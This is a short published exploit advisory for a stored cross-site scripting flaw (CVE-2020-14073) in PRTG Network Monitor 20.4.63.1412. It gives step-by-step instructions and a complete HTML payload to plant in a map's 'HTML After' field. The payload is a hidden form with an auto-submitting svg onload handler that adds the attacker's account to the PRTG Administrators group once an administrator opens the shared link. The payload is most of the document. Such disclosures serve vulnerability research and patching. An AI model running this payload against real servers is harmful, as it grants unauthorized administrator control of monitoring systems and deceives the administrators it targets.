PRTG Network Monitor 20.4.63.1412 Cross Site Scripting

`# Exploit Title: PRTG Network Monitor 20.4.63.1412 - 'maps' Stored XSS  
# Date: 2/12/2020  
# Exploit Author: Amin Rawah  
# Vendor Homepage: https://www.paessler.com/prtg  
# Software Link: https://www.paessler.com/prtg  
# Version: 20.4.63.1412 x64  
# Tested on: Windows   
# CVE : CVE-2020-14073  
  
Description:  
Since there is a stored XSS affecting 'maps' in the system, a malicious user can escalte his/her privilege to PRTG Administrator.  
  
Steps:  
1- Login to PRTG system and view source code (currentUserId)  
2- Create a map, add an element, double click the element and modify the HTML section 'HTML After'  
3- In 'HTML After' add the following code:  
<form action="http://<PRTG_SERVER>:8081/editsettings" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="name_" value="PRTG Administrators" />  
<input type="hidden" name="defaulthome_" value="/welcome.htm" />  
<input type="hidden" name="isadgroup" value="0" />  
<input type="hidden" name="adusertype_" value="0" />  
<input type="hidden" name="aduserack_" value="0" />  
<input type="hidden" name="users_" value="1" />  
<input type="hidden" name="users_" value="1" />  
<input type="hidden" name="users__check" value="<currentUserId>|<YOUR_USERNAME>|" />  
<input type="hidden" name="users__check" value="100|PRTG System Administrator|" />  
<input type="hidden" name="id" value="200" />  
<input type="hidden" name="targeturl" value="/systemsetup.htm?tabid=6" />  
<input type="submit" value="Submit request" />  
</form>  
<svg/onload='document.forms[0].submit()'/>   
4- Save and share the link with PRTG Administrator.  
5- Login with the highest privilege.  
`